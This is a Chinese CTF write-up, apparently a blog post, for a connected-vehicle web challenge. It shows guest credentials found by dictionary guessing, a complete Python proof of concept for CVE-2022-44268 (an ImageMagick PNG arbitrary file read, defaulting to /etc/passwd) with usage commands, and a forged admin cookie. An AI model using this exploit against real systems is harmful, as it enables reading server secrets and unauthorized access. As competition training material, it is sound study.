【2023饶派杯车联网CTF】Web-对访客开放的车载系统 writeup

0x01 题目:

对访客开放的车载系统,进入环境:http://172.35.8.73/

image-20230531094745262

0x02 题解:

在登入页面使用字典跑一遍,发现Guest/Guest可以登入:

image-20230531094915874

进入后页面:

image-20230531094938097

根据hint,涉及到的漏洞CVE-2022-44268

利用代码如下:

#!/usr/bin/env python3
import sys
import png
import zlib
import argparse
import binascii
import logging

logging.basicConfig(stream=sys.stderr, level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
d = zlib.decompressobj()
e = zlib.compressobj()
IHDR = b'\x00\x00\x00\n\x00\x00\x00\n\x08\x02\x00\x00\x00'
IDAT = b'x\x9c\xbd\xcc\xa1\x11\xc0 \x0cF\xe1\xb4\x03D\x91\x8b`\xffm\x98\x010\x89\x01\xc5\x00\xfc\xb8\n\x8eV\xf6\xd9' \
       b'\xef\xee])%z\xef\xfe\xb0\x9f\xb8\xf7^J!\xa2Zkkm\xe7\x10\x02\x80\x9c\xf3\x9cSD\x0esU\x1dc\xa8\xeaa\x0e\xc0' \
       b'\xccb\x8cf\x06`gwgf\x11afw\x7fx\x01^K+F'


def parse_data(data: bytes) -> str:
    _, data = data.strip().split(b'\n', 1)
    print(data.replace(b'\n', b''))
    return binascii.unhexlify(data.replace(b'\n', b'')).decode()


def read(filename: str):
    if not filename:
        logging.error('you must specify a input filename')
        return

    res = ''
    p = png.Reader(filename=filename)
    for k, v in p.chunks():
        logging.info("chunk %s found, value = %r", k.decode(), v)
        if k == b'zTXt':
            name, data = v.split(b'\x00', 1)
            res = parse_data(d.decompress(data[1:]))

    if res:
        sys.stdout.write(res)
        sys.stdout.flush()


def write(from_filename, to_filename, read_filename):
    if not to_filename:
        logging.error('you must specify a output filename')
        return

    with open(to_filename, 'wb') as f:
        f.write(png.signature)
        if from_filename:
            p = png.Reader(filename=from_filename)
            for k, v in p.chunks():
                if k != b'IEND':
                    png.write_chunk(f, k, v)
        else:
            png.write_chunk(f, b'IHDR', IHDR)
            png.write_chunk(f, b'IDAT', IDAT)

        png.write_chunk(f, b"tEXt", b"profile\x00" + read_filename.encode())
        png.write_chunk(f, b'IEND', b'')


def main():
    parser = argparse.ArgumentParser(description='POC for CVE-2022-44268')
    parser.add_argument('action', type=str, choices=('generate', 'parse'))
    parser.add_argument('-i', '--input', type=str, help='input filename')
    parser.add_argument('-o', '--output', type=str, help='output filename')
    parser.add_argument('-r', '--read', type=str, help='target file to read', default='/etc/passwd')
    args = parser.parse_args()
    if args.action == 'generate':
        write(args.input, args.output, args.read)
    elif args.action == 'parse':
        read(args.input)
    else:
        logging.error("bad action")


if __name__ == '__main__':
    main()

使用前记得安装一个pypng包安装代码如下:

pip3 install pypng

或者

python3 -m pip install pypng

先获取一下index.php使用指令如下:

./poc.py generate -o poc.png -r './index.php'

生成一个poc.png图片文件,然后上传到服务器,再右键图片下载下来,利用脚本进行解析:

./poc.py parse -i 6476fa0eb4cf4.png

同理可以任意读取user.phpupload.php,但是在这个过程中遇到点bug:

image-20230531182809088

这是由于代码中包含很多特殊字符,导致在处理图片文件时出现错误,这里进行修改,把对应的源数据用python的函数bytes.fromhex()进行解析,解析不了就去掉一些头或者尾

可能是原作者在内容处理没有做过多的修饰(

下面是通过任意读取获得的user.php内容:

······(省略一坨无效代码
<?php\r\n    include("function.php");
$cookie = $_COOKIE['login_cookie'];
$decodedCookie = myDecrypt($cookie);
if ($decodedCookie === "admin") {
  $isAdmin = true;
}
if ($isAdmin) {
  $content = system("/readflag");
  echo "<p>" . htmlspecialchars($content) . "</p>";
} \r\n    ?>\r\n</body>\r\n</html>\r\n'

代码比较乱,但是可以在后面找到一个include("function.php");,并且有一个myDecrypt()函数,可以合理猜测获取flag关键的一步应该在function.php中。

继续上上面的步骤读取“function.php”,整理一下可以得到以下内容:

<?php
  function myDecrypt($data, $key="hello"){
    $data = base64_decode($data);
    $salt = substr(md5($key), 0, 8); //生成加密盐
    $iv = substr($data, 0, 16); // 提取随机因素    
    $data = substr($data, 16); // 提取加密后的数据
    $data = openssl_decrypt($data, 'AES-256-CBC', $salt.$key, OPENSSL_RAW_DATA, $iv); 
    // 使用 AES-256 进行对称解密
    $data = str_rot13($data);
    $data = base64_decode($data);
    $data = gzuncompress($data);
    //对字符串进行反变化
    
    $data = str_replace('5', 'u', $data);
    $data = str_replace('4', 'o', $data);
    $data = str_replace('3', 'i', $data);
    $data = str_replace('2', 'e', $data);
    $data = str_replace('1', 'a', $data);
    $data = strrev($data);
    return $data; //admin -> 1dm3n
 }

可以发现这又是一个套娃解密,反过来写就行了,就是要注意一下$data = substr($data, 16);在加密函数中应该是$data = $iv.$data;

最后得到的脚本应该是这样的:

$key="hello";
$data = "admin";
$data = strrev($data);
$data = str_replace('u', '5', $data);
$data = str_replace('o', '4', $data);
$data = str_replace('i', '3', $data);
$data = str_replace('e', '2', $data);
$data = str_replace('a', '1', $data);
$data = gzcompress($data);
$data = base64_encode($data);
echo("\n1base:".$data."\n");
$data = str_rot13($data);
echo("\n2rot:".$data."\n");
$salt = substr(md5($key), 0, 8); //生成加密盐
$iv = substr($data, 0, 16); // 提取随机因素
//$data = substr($data, 16); // 提取加密后的数据
//$data = "a111111111111111".$data;
$data = openssl_encrypt($data, 'AES-256-CBC', $salt.$key, OPENSSL_RAW_DATA, $iv); 
echo("\n3aes:".$data."\n");
$data = $iv.$data;

echo("\n4add:".$data."\n");
$data = base64_encode($data);
echo("\n5result:".$data."\n");
echo(myDecrypt($data));

运行结果:

1base: eJzLM85NMQQABTcBpA==

2rot: rWmYZ85AZDDNOGpOcN==

3aes: ?6??!J??k?:????L??_g_y4???f-

4add: rWmYZ85AZDDNOGpO?6??!J??k?:????L??_g_y4???f-

5result: cldtWVo4NUFaREROT0dwT/c2hqsaIUrCxmsCpzoakpar40yNnV9nX3k0yeu17mYt

admin

把得到的result放到cookie中的login_cookie字段,访问/user.php就可以拿到flag了

image-20230531224304860

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值